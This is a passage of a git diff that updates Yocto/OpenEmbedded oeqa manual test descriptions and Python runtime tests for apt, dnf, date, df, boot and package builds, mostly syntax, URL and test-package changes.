- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, resume the device by pressing the power button or using HID devices",
- "expected_results": "Devices resumes "
- },
- "4": {
- "action": "check usb mouse and keyboard",
- "expected_results": "Usb mouse and keyboard should work"
- }
- },
- "summary": "Test_if_usb_hid_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.click_terminal_icon_on_X_desktop",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "After system launch and X start up, click terminal icon on desktop",
- "expected_results": ""
- },
- "2": {
- "action": "Check if only one terminal window launched and no other problem met",
- "expected_results": "There should be no problem after launching terminal . "
- }
- },
- "summary": "click_terminal_icon_on_X_desktop"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.Add_multiple_files_in_media_player",
"author": [
{
@@ -883,40 +595,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Check_if_RTC_(Real_Time_Clock)_can_work_correctly",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Read time from RTC registers. root@localhost:/root> hwclock -r Sun Mar 22 04:05:47 1970 -0.001948 seconds ",
- "expected_results": "Can read and set the time from RTC.\n"
- },
- "2": {
- "action": "Set system current time root@localhost:/root> date 062309452008 ",
- "expected_results": ""
- },
- "3": {
- "action": "Synchronize the system current time to RTC registers root@localhost:/root> hwclock -w ",
- "expected_results": ""
- },
- "4": {
- "action": "Read time from RTC registers root@localhost:/root> hwclock -r ",
- "expected_results": ""
- },
- "5": {
- "action": "Reboot target and read time from RTC again\n",
- "expected_results": ""
- }
- },
- "summary": "Check_if_RTC_(Real_Time_Clock)_can_work_correctly"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.System_can_boot_up_via_NFS",
"author": [
{
diff --git a/meta/lib/oeqa/manual/build-appliance.json b/meta/lib/oeqa/manual/build-appliance.json
index 70f8c72c9b..82a556e93e 100644
--- a/meta/lib/oeqa/manual/build-appliance.json
+++ b/meta/lib/oeqa/manual/build-appliance.json
@@ -48,7 +48,7 @@
"expected_results": ""
},
"3": {
- "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL_append = \" acpid\"",
+ "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL:append = \" acpid\"",
"expected_results": ""
},
"4": {
diff --git a/meta/lib/oeqa/manual/eclipse-plugin.json b/meta/lib/oeqa/manual/eclipse-plugin.json
index d77d0e673b..6c110d0656 100644
--- a/meta/lib/oeqa/manual/eclipse-plugin.json
+++ b/meta/lib/oeqa/manual/eclipse-plugin.json
@@ -44,7 +44,7 @@
"expected_results": ""
},
"2": {
- "action": "wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/qemu (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
+ "action": "wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/ (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
"expected_results": " Qemu can be lauched normally."
},
"3": {
@@ -60,7 +60,7 @@
"expected_results": ""
},
"6": {
- "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
+ "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
"expected_results": ""
},
"7": {
@@ -247,7 +247,7 @@
"execution": {
"1": {
"action": "Clone eclipse-poky source. \n \n - git clone git://git.yoctoproject.org/eclipse-poky \n\n",
- "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on http://autobuilder.yoctoproject.org/pub/releases/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
+ "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on https://downloads.yoctoproject.org/releases/yocto/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
},
"2": {
"action": "Checkout correct tag. \n\n - git checkout <eclipse-version>/<yocto-version> \n\n",
diff --git a/meta/lib/oeqa/manual/oe-core.json b/meta/lib/oeqa/manual/oe-core.json
index fb47c5ec36..4ad524d89b 100644
--- a/meta/lib/oeqa/manual/oe-core.json
+++ b/meta/lib/oeqa/manual/oe-core.json
@@ -80,7 +80,7 @@
"expected_results": ""
},
"7": {
- "action": "Run command:./configure && make ",
+ "action": "Run command:./configure ${CONFIGUREOPTS} && make ",
"expected_results": "Verify that \"matchbox-desktop\" binary file was created successfully under \"src/\" directory "
},
"8": {
diff --git a/meta/lib/oeqa/manual/sdk.json b/meta/lib/oeqa/manual/sdk.json
index 434982f7f5..21d892d26d 100644
--- a/meta/lib/oeqa/manual/sdk.json
+++ b/meta/lib/oeqa/manual/sdk.json
@@ -26,7 +26,7 @@
"expected_results": "Expect both qemu to boot up successfully."
}
},
- "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for_x86"
+ "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for:x86"
}
}
] \ No newline at end of file
diff --git a/meta/lib/oeqa/manual/toaster-managed-mode.json b/meta/lib/oeqa/manual/toaster-managed-mode.json
index 12374c7c64..1a71985c3c 100644
--- a/meta/lib/oeqa/manual/toaster-managed-mode.json
+++ b/meta/lib/oeqa/manual/toaster-managed-mode.json
@@ -136,7 +136,7 @@
"expected_results": ""
},
"3": {
- "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL_append - \"Not set\" \n\tPACKAGE_CLASES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
+ "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL:append - \"Not set\" \n\tPACKAGE_CLASSES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
"expected_results": ""
},
"4": {
@@ -186,7 +186,7 @@
"expected_results": ""
},
"7": {
- "action": "IMAGE_INSTALL_append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
+ "action": "IMAGE_INSTALL:append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
"expected_results": ""
},
"8": {
@@ -1574,7 +1574,7 @@
"expected_results": "Open bitbake variables page. \n\n\t"
},
"5": {
- "action": "Click on change button for IMAGE_INSTALL_append and add a variable (ex: acpid). \n\n",
+ "action": "Click on change button for IMAGE_INSTALL:append and add a variable (ex: acpid). \n\n",
"expected_results": "Variable added. \n\n\t"
},
"6": {
@@ -1590,7 +1590,7 @@
"expected_results": "You should get results for ssh packages."
}
},
- "summary": "Test_IMAGE_INSTALL_append_variable"
+ "summary": "Test_IMAGE_INSTALL:append_variable"
}
},
{
@@ -2348,7 +2348,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. ",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. ",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2382,7 +2382,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": "All recipes are built correctly \n\n"
},
"4": {
@@ -2420,7 +2420,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2569,4 +2569,4 @@
"summary": "Download_task_log"
}
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/oetest.py b/meta/lib/oeqa/oetest.py
index 9c84466dd0..bcb6a878c7 100644
--- a/meta/lib/oeqa/oetest.py
+++ b/meta/lib/oeqa/oetest.py
@@ -28,7 +28,7 @@ try:
import oeqa.sdkext
except ImportError:
pass
-from oeqa.utils.decorators import LogResults, gettag, getResults
+from oeqa.utils.decorators import LogResults, gettag
logger = logging.getLogger("BitBake")
@@ -57,7 +57,6 @@ def filterByTagExp(testsuite, tagexp):
@LogResults
class oeTest(unittest.TestCase):
- pscmd = "ps"
longMessage = True
@classmethod
@@ -110,20 +109,6 @@ class oeRuntimeTest(oeTest):
def tearDown(self):
# Uninstall packages in the DUT
self.tc.install_uninstall_packages(self.id(), False)
-
- res = getResults()
- # If a test fails or there is an exception dump
- # for QemuTarget only
- if (type(self.target).__name__ == "QemuTarget" and
- (self.id() in res.getErrorList() or
- self.id() in res.getFailList())):
- self.tc.host_dumper.create_dir(self._testMethodName)
- self.tc.host_dumper.dump_host()
- self.target.target_dumper.dump_target(
- self.tc.host_dumper.dump_dir)
- print ("%s dump data stored in %s" % (self._testMethodName,
- self.tc.host_dumper.dump_dir))
-
self.tearDownLocal()
# Method to be run after tearDown and implemented by child classes
@@ -256,7 +241,7 @@ class TestContext(object):
modules = []
for test in self.testslist:
- if re.search("\w+\.\w+\.test_\S+", test):
+ if re.search(r"\w+\.\w+\.test_\S+", test):
test = '.'.join(t.split('.')[:3])
module = pkgutil.get_loader(test)
modules.append(module)
@@ -398,11 +383,6 @@ class RuntimeTestContext(TestContext):
def _get_test_suites_required(self):
return [t for t in self.d.getVar("TEST_SUITES").split() if t != "auto"]
- def loadTests(self):
- super(RuntimeTestContext, self).loadTests()
- if oeTest.hasPackage("procps"):
- oeRuntimeTest.pscmd = "ps -ef"
-
def extract_packages(self):
"""
Find packages that will be needed during runtime.
diff --git a/meta/lib/oeqa/runtime/cases/_qemutiny.py b/meta/lib/oeqa/runtime/cases/_qemutiny.py
index 6886e36502..816fd4a7cb 100644
--- a/meta/lib/oeqa/runtime/cases/_qemutiny.py
+++ b/meta/lib/oeqa/runtime/cases/_qemutiny.py
@@ -1,12 +1,19 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.target.qemu import OEQemuTarget
class QemuTinyTest(OERuntimeTestCase):
def test_boot_tiny(self):
- status, output = self.target.run_serial('uname -a')
- msg = "Cannot detect poky tiny boot!"
- self.assertTrue("yocto-tiny" in output, msg)
+ # Until the target has explicit run_serial support, check that the
+ # target is the qemu runner
+ if isinstance(self.target, OEQemuTarget):
+ status, output = self.target.runner.run_serial('uname -a')
+ self.assertIn("Linux", output)
+ else:
+ self.skipTest("Target %s is not OEQemuTarget" % self.target)
diff --git a/meta/lib/oeqa/runtime/cases/apt.py b/meta/lib/oeqa/runtime/cases/apt.py
index 53745df93f..8000645843 100644
--- a/meta/lib/oeqa/runtime/cases/apt.py
+++ b/meta/lib/oeqa/runtime/cases/apt.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -21,7 +23,7 @@ class AptRepoTest(AptTest):
@classmethod
def setUpClass(cls):
- service_repo = os.path.join(cls.tc.td['DEPLOY_DIR_DEB'], 'all')
+ service_repo = os.path.join(cls.tc.td['DEPLOY_DIR_DEB'], '')
cls.repo_server = HTTPService(service_repo,
'0.0.0.0', port=cls.tc.target.server_port,
logger=cls.tc.logger)
@@ -34,20 +36,44 @@ class AptRepoTest(AptTest):
def setup_source_config_for_package_install(self):
apt_get_source_server = 'http://%s:%s/' % (self.tc.target.server_ip, self.repo_server.port)
apt_get_sourceslist_dir = '/etc/apt/'
- self.target.run('cd %s; echo deb [ allow-insecure=yes ] %s ./ > sources.list' % (apt_get_sourceslist_dir, apt_get_source_server))
+ self.target.run('cd %s; echo deb [ allow-insecure=yes ] %s/all ./ > sources.list' % (apt_get_sourceslist_dir, apt_get_source_server))
+
+ def setup_source_config_for_package_install_signed(self):
+ apt_get_source_server = 'http://%s:%s' % (self.tc.target.server_ip, self.repo_server.port)
+ apt_get_sourceslist_dir = '/etc/apt/'
+ self.target.run("cd %s; cp sources.list sources.list.bak; sed -i 's|\[trusted=yes\] http://bogus_ip:bogus_port|%s|g' sources.list" % (apt_get_sourceslist_dir, apt_get_source_server))
def cleanup_source_config_for_package_install(self):
apt_get_sourceslist_dir = '/etc/apt/'
self.target.run('cd %s; rm sources.list' % (apt_get_sourceslist_dir))
+ def cleanup_source_config_for_package_install_signed(self):
+ apt_get_sourceslist_dir = '/etc/apt/'
+ self.target.run('cd %s; mv sources.list.bak sources.list' % (apt_get_sourceslist_dir))
+
+ def setup_key(self):
+ # the key is found on the target /etc/pki/packagefeed-gpg/
+ # named PACKAGEFEED-GPG-KEY-poky-branch
+ self.target.run('cd %s; apt-key add P*' % ('/etc/pki/packagefeed-gpg'))
+
@skipIfNotFeature('package-management',
'Test requires package-management to be in IMAGE_FEATURES')
@skipIfNotDataVar('IMAGE_PKGTYPE', 'deb',
'DEB is not the primary package manager')
@OEHasPackage(['apt'])
def test_apt_install_from_repo(self):
- self.setup_source_config_for_package_install()
- self.pkg('update')
- self.pkg('remove --yes run-postinsts-dev')
- self.pkg('install --yes --allow-unauthenticated run-postinsts-dev')
- self.cleanup_source_config_for_package_install()
+ if not self.tc.td.get('PACKAGE_FEED_GPG_NAME'):
+ self.setup_source_config_for_package_install()
+ self.pkg('update')
+ self.pkg('remove --yes run-postinsts-dev')
+ self.pkg('install --yes --allow-unauthenticated run-postinsts-dev')
+ self.cleanup_source_config_for_package_install()
+ else:
+ # when we are here a key has been set to sign the package feed and
+ # public key and gnupg installed on the image by test_testimage_apt
+ self.setup_source_config_for_package_install_signed()
+ self.setup_key()
+ self.pkg('update')
+ self.pkg('install --yes run-postinsts-dev')
+ self.pkg('remove --yes run-postinsts-dev')
+ self.cleanup_source_config_for_package_install_signed()
diff --git a/meta/lib/oeqa/runtime/cases/boot.py b/meta/lib/oeqa/runtime/cases/boot.py
index 2142f400a0..dcee3311f7 100644
--- a/meta/lib/oeqa/runtime/cases/boot.py
+++ b/meta/lib/oeqa/runtime/cases/boot.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -13,7 +15,7 @@ from oeqa.core.decorator.data import skipIfQemu
class BootTest(OERuntimeTestCase):
@OETimeout(120)
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_reboot(self):
output = ''
diff --git a/meta/lib/oeqa/runtime/cases/buildcpio.py b/meta/lib/oeqa/runtime/cases/buildcpio.py
index d0f91668b2..7be734cb4f 100644
--- a/meta/lib/oeqa/runtime/cases/buildcpio.py
+++ b/meta/lib/oeqa/runtime/cases/buildcpio.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -12,7 +14,7 @@ class BuildCpioTest(OERuntimeTestCase):
@classmethod
def setUpClass(cls):
- uri = 'https://downloads.yoctoproject.org/mirror/sources/cpio-2.13.tar.gz'
+ uri = 'https://downloads.yoctoproject.org/mirror/sources/cpio-2.15.tar.gz'
cls.project = TargetBuildProject(cls.tc.target,
uri,
dl_dir = cls.tc.td['DL_DIR'])
@@ -27,6 +29,6 @@ class BuildCpioTest(OERuntimeTestCase):
@OEHasPackage(['autoconf'])
def test_cpio(self):
self.project.download_archive()
- self.project.run_configure('--disable-maintainer-mode','')
+ self.project.run_configure()
self.project.run_make()
self.project.run_install()
diff --git a/meta/lib/oeqa/runtime/cases/buildgalculator.py b/meta/lib/oeqa/runtime/cases/buildgalculator.py
index e5cc3e2888..2cfb3243dc 100644
--- a/meta/lib/oeqa/runtime/cases/buildgalculator.py
+++ b/meta/lib/oeqa/runtime/cases/buildgalculator.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/buildlzip.py b/meta/lib/oeqa/runtime/cases/buildlzip.py
index bc70b41461..44f4f1be71 100644
--- a/meta/lib/oeqa/runtime/cases/buildlzip.py
+++ b/meta/lib/oeqa/runtime/cases/buildlzip.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/connman.py b/meta/lib/oeqa/runtime/cases/connman.py
index f0d15fac9b..a488752e3f 100644
--- a/meta/lib/oeqa/runtime/cases/connman.py
+++ b/meta/lib/oeqa/runtime/cases/connman.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/date.py b/meta/lib/oeqa/runtime/cases/date.py
index fdd2a6ae58..a2523de67a 100644
--- a/meta/lib/oeqa/runtime/cases/date.py
+++ b/meta/lib/oeqa/runtime/cases/date.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -13,12 +15,12 @@ class DateTest(OERuntimeTestCase):
def setUp(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Stopping systemd-timesyncd daemon')
- self.target.run('systemctl disable --now systemd-timesyncd')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
def tearDown(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Starting systemd-timesyncd daemon')
- self.target.run('systemctl enable --now systemd-timesyncd')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
@@ -28,14 +30,13 @@ class DateTest(OERuntimeTestCase):
self.assertEqual(status, 0, msg=msg)
oldDate = output
- sampleDate = '"2016-08-09 10:00:00"'
- (status, output) = self.target.run("date -s %s" % sampleDate)
+ sampleTimestamp = 1488800000
+ (status, output) = self.target.run("date -s @%d" % sampleTimestamp)
self.assertEqual(status, 0, msg='Date set failed, output: %s' % output)
- (status, output) = self.target.run("date -R")
- p = re.match('Tue, 09 Aug 2016 10:00:.. \+0000', output)
+ (status, output) = self.target.run('date +"%s"')
msg = 'The date was not set correctly, output: %s' % output
- self.assertTrue(p, msg=msg)
+ self.assertTrue(int(output) - sampleTimestamp < 300, msg=msg)
(status, output) = self.target.run('date -s "%s"' % oldDate)
msg = 'Failed to reset date, output: %s' % output
diff --git a/meta/lib/oeqa/runtime/cases/df.py b/meta/lib/oeqa/runtime/cases/df.py
index 89fd0fb901..43e0ebf9ea 100644
--- a/meta/lib/oeqa/runtime/cases/df.py
+++ b/meta/lib/oeqa/runtime/cases/df.py
@@ -1,15 +1,19 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfDataVar, skipIfInDataVar
from oeqa.runtime.decorator.package import OEHasPackage
class DfTest(OERuntimeTestCase):
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
+ @skipIfInDataVar('IMAGE_FEATURES', 'read-only-rootfs', 'Test case df requires a writable rootfs')
def test_df(self):
cmd = "df -P / | sed -n '2p' | awk '{print $4}'"
(status,output) = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/dnf.py b/meta/lib/oeqa/runtime/cases/dnf.py
index f40c63026e..3ccb18ce83 100644
--- a/meta/lib/oeqa/runtime/cases/dnf.py
+++ b/meta/lib/oeqa/runtime/cases/dnf.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -73,48 +75,43 @@ class DnfRepoTest(DnfTest):
def test_dnf_makecache(self):
self.dnf_with_repo('makecache')
-
-# Does not work when repo is specified on the command line
-# @OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
-# def test_dnf_repolist(self):
-# self.dnf_with_repo('repolist')
-
@OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
def test_dnf_repoinfo(self):
self.dnf_with_repo('repoinfo')
@OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
def test_dnf_install(self):
- output = self.dnf_with_repo('list run-postinsts-dev')
- if 'Installed Packages' in output:
- self.dnf_with_repo('remove -y run-postinsts-dev')
- self.dnf_with_repo('install -y run-postinsts-dev')
+ self.dnf_with_repo('remove -y dnf-test-*')
+ self.dnf_with_repo('install -y dnf-test-dep')
@OETestDepends(['dnf.DnfRepoTest.test_dnf_install'])
def test_dnf_install_dependency(self):
- self.dnf_with_repo('remove -y run-postinsts')
- self.dnf_with_repo('install -y run-postinsts-dev')
+ self.dnf_with_repo('remove -y dnf-test-*')
+ self.dnf_with_repo('install -y dnf-test-main')
+ output = self.dnf('list --installed dnf-test-*')
+ self.assertIn("dnf-test-main.", output)
+ self.assertIn("dnf-test-dep.", output)
@OETestDepends(['dnf.DnfRepoTest.test_dnf_install_dependency'])
def test_dnf_install_from_disk(self):
- self.dnf_with_repo('remove -y run-postinsts-dev')
- self.dnf_with_repo('install -y --downloadonly run-postinsts-dev')
- status, output = self.target.run('find /var/cache/dnf -name run-postinsts-dev*rpm', 1500)
+ self.dnf_with_repo('remove -y dnf-test-dep')
+ self.dnf_with_repo('install -y --downloadonly dnf-test-dep')
+ status, output = self.target.run('find /var/cache/dnf -name dnf-test-dep*rpm')
self.assertEqual(status, 0, output)
self.dnf_with_repo('install -y %s' % output)
@OETestDepends(['dnf.DnfRepoTest.test_dnf_install_from_disk'])
def test_dnf_install_from_http(self):
- output = subprocess.check_output('%s %s -name run-postinsts-dev*' % (bb.utils.which(os.getenv('PATH'), "find"),
+ output = subprocess.check_output('%s %s -name dnf-test-dep*' % (bb.utils.which(os.getenv('PATH'), "find"),
os.path.join(self.tc.td['WORKDIR'], 'oe-testimage-repo')), shell=True).decode("utf-8")
rpm_path = output.split("/")[-2] + "/" + output.split("/")[-1]
url = 'http://%s:%s/%s' %(self.target.server_ip, self.repo_server.port, rpm_path)
- self.dnf_with_repo('remove -y run-postinsts-dev')
+ self.dnf_with_repo('remove -y dnf-test-dep')
self.dnf_with_repo('install -y %s' % url)
@OETestDepends(['dnf.DnfRepoTest.test_dnf_install'])
def test_dnf_reinstall(self):
- self.dnf_with_repo('reinstall -y run-postinsts-dev')
+ self.dnf_with_repo('reinstall -y dnf-test-main')
@OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
@skipIfInDataVar('DISTRO_FEATURES', 'usrmerge', 'Test run when not enable usrmerge')
@@ -137,55 +134,40 @@ class DnfRepoTest(DnfTest):
self.target.run('cp -r /etc/dnf %s/etc' % rootpath, 1500)
self.target.run('cp /bin/sh %s/bin' % rootpath, 1500)
self.target.run('mount -o bind /dev %s/dev/' % rootpath, 1500)
- self.dnf_with_repo('install --installroot=%s -v -y --rpmverbosity=debug busybox run-postinsts' % rootpath)
+ self.dnf_with_repo('install --installroot=%s -v -y --rpmverbosity=debug busybox' % rootpath)
status, output = self.target.run('test -e %s/var/cache/dnf' % rootpath, 1500)
self.assertEqual(0, status, output)
status, output = self.target.run('test -e %s/bin/busybox' % rootpath, 1500)
self.assertEqual(0, status, output)
@OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
- @skipIfNotInDataVar('DISTRO_FEATURES', 'usrmerge', 'Test run when enable usrmege')
+ @skipIfNotInDataVar('DISTRO_FEATURES', 'usrmerge', 'Test run when enable usrmerge')
@OEHasPackage('busybox')
def test_dnf_installroot_usrmerge(self):
rootpath = '/home/root/chroot/test'
#Copy necessary files to avoid errors with not yet installed tools on
#installroot directory.
- self.target.run('mkdir -p %s/etc' % rootpath, 1500)
- self.target.run('mkdir -p %s/usr/bin %s/usr/sbin' % (rootpath, rootpath), 1500)
- self.target.run('ln -sf -r %s/usr/bin %s/bin' % (rootpath, rootpath), 1500)
- self.target.run('ln -sf -r %s/usr/sbin %s/sbin' % (rootpath, rootpath), 1500)
- self.target.run('mkdir -p %s/dev' % rootpath, 1500)
+ self.target.run('mkdir -p %s/etc' % rootpath)
+ self.target.run('mkdir -p %s/usr/bin %s/usr/sbin' % (rootpath, rootpath))
+ self.target.run('ln -sf usr/bin %s/bin' % (rootpath))
+ self.target.run('ln -sf usr/sbin %s/sbin' % (rootpath))
+ self.target.run('mkdir -p %s/dev' % rootpath)
#Handle different architectures lib dirs
- self.target.run('mkdir -p %s/usr/lib' % rootpath, 1500)
- self.target.run('mkdir -p %s/usr/libx32' % rootpath, 1500)
- self.target.run('mkdir -p %s/usr/lib64' % rootpath, 1500)
- self.target.run('cp /lib/libtinfo.so.5 %s/usr/lib' % rootpath, 1500)
- self.target.run('cp /libx32/libtinfo.so.5 %s/usr/libx32' % rootpath, 1500)
- self.target.run('cp /lib64/libtinfo.so.5 %s/usr/lib64' % rootpath, 1500)
- self.target.run('ln -sf -r %s/lib %s/usr/lib' % (rootpath,rootpath), 1500)
- self.target.run('ln -sf -r %s/libx32 %s/usr/libx32' % (rootpath,rootpath), 1500)
- self.target.run('ln -sf -r %s/lib64 %s/usr/lib64' % (rootpath,rootpath), 1500)
- self.target.run('cp -r /etc/rpm %s/etc' % rootpath, 1500)
- self.target.run('cp -r /etc/dnf %s/etc' % rootpath, 1500)
- self.target.run('cp /bin/sh %s/bin' % rootpath, 1500)
- self.target.run('mount -o bind /dev %s/dev/' % rootpath, 1500)
- self.dnf_with_repo('install --installroot=%s -v -y --rpmverbosity=debug busybox run-postinsts' % rootpath)
- status, output = self.target.run('test -e %s/var/cache/dnf' % rootpath, 1500)
+ self.target.run("for l in /lib*; do mkdir -p %s/usr/$l; ln -s usr/$l %s/$l; done" % (rootpath, rootpath))
+ self.target.run('cp -r /etc/rpm %s/etc' % rootpath)
+ self.target.run('cp -r /etc/dnf %s/etc' % rootpath)
+ self.target.run('cp /bin/busybox %s/bin/sh' % rootpath)
+ self.target.run('mount -o bind /dev %s/dev/' % rootpath)
+ self.dnf_with_repo('install --installroot=%s -v -y --rpmverbosity=debug busybox' % rootpath)
+ status, output = self.target.run('test -e %s/var/cache/dnf' % rootpath)
self.assertEqual(0, status, output)
- status, output = self.target.run('test -e %s/bin/busybox' % rootpath, 1500)
+ status, output = self.target.run('test -e %s/bin/busybox' % rootpath)
self.assertEqual(0, status, output)
@OETestDepends(['dnf.DnfRepoTest.test_dnf_makecache'])
def test_dnf_exclude(self):
- excludepkg = 'curl-dev'
- self.dnf_with_repo('install -y curl*')
- self.dnf('list %s' % excludepkg, 0)
- #Avoid remove dependencies to skip some errors on different archs and images
- self.dnf_with_repo('remove --setopt=clean_requirements_on_remove=0 -y curl*')
- #check curl-dev is not installed adter removing all curl occurrences
- status, output = self.target.run('dnf list --installed | grep %s'% excludepkg, 1500)
- self.assertEqual(1, status, "%s was not removed, is listed as installed"%excludepkg)
- self.dnf_with_repo('install -y --exclude=%s --exclude=curl-staticdev curl*' % excludepkg)
- #check curl-dev is not installed after being excluded
- status, output = self.target.run('dnf list --installed | grep %s'% excludepkg , 1500)
- self.assertEqual(1, status, "%s was not excluded, is listed as installed"%excludepkg)
+ self.dnf_with_repo('remove -y dnf-test-*')
+ self.dnf_with_repo('install -y --exclude=dnf-test-dep dnf-test-*')
+ output = self.dnf('list --installed dnf-test-*')
+ self.assertIn("dnf-test-main.", output)
+ self.assertNotIn("dnf-test-dev.", output)
diff --git a/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
new file mode 100644
index 0000000000..eac8f2d082
